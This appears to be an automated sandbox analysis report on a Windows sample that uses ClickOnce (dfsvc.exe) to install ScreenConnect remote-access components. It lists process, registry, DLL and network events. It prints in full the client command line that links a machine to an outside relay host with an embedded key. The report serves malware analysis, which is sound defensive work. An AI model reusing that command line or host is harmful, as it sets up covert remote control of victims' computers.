Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 172.67.181.28:443 -> 192.168.2.4:49722 version: TLS 1.2

E-Banking Fraud

Drops certificate files (DER)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior

Reads the System eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect	Jump to behavior

System Summary

Detected potential unwanted application

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

PE Siganture Subject Chain: CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US

Detected potential crypto function

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_0062A5E5	0_2_0062A5E5
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_00621BD4	0_2_00621BD4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA7EE48	1_2_00007FFC3DA7EE48
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA7ACDB	1_2_00007FFC3DA7ACDB
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA4AF10	1_2_00007FFC3DA4AF10
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA58990	1_2_00007FFC3DA58990
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA7CAAD	1_2_00007FFC3DA7CAAD
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA8BAD8	1_2_00007FFC3DA8BAD8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA837B5	1_2_00007FFC3DA837B5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA8941F	1_2_00007FFC3DA8941F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA61400	1_2_00007FFC3DA61400
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA723D1	1_2_00007FFC3DA723D1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA63071	1_2_00007FFC3DA63071
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA4FA21	1_2_00007FFC3DA4FA21
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA59889	1_2_00007FFC3DA59889
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA627B0	1_2_00007FFC3DA627B0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA41240	1_2_00007FFC3DA41240
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA531ED	1_2_00007FFC3DA531ED
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA46178	1_2_00007FFC3DA46178
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA675E7	9_2_00007FFC3DA675E7
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA6FE75	9_2_00007FFC3DA6FE75
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA711D1	9_2_00007FFC3DA711D1
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA700D3	9_2_00007FFC3DA700D3
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA71410	9_2_00007FFC3DA71410
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DD52E51	9_2_00007FFC3DD52E51
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DD56588	9_2_00007FFC3DD56588
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DD47D48	9_2_00007FFC3DD47D48
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DD4FCE9	9_2_00007FFC3DD4FCE9
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DD556A8	9_2_00007FFC3DD556A8
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DD4B230	9_2_00007FFC3DD4B230
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DD4A085	9_2_00007FFC3DD4A085

One or more processes crash

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7636 -s 1304

Uses 32bit PE files

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, PopoutPanelTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ProgramTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, TaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'

Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll0.1.dr, WindowsLocalUserExtensions.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: ScreenConnect.ClientService.dll.1.dr, WindowsLocalUserExtensions.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal51.evad.winEXE@9/68@2/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

0_2_00621000

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Deployment

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8088
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7636

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Temp\Deployment

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Command line argument: dfshim

0_2_00621000

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Virustotal: Detection: 16%
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7636 -s 1304
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8088 -s 316
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: userenv.dll	Jump to behavior
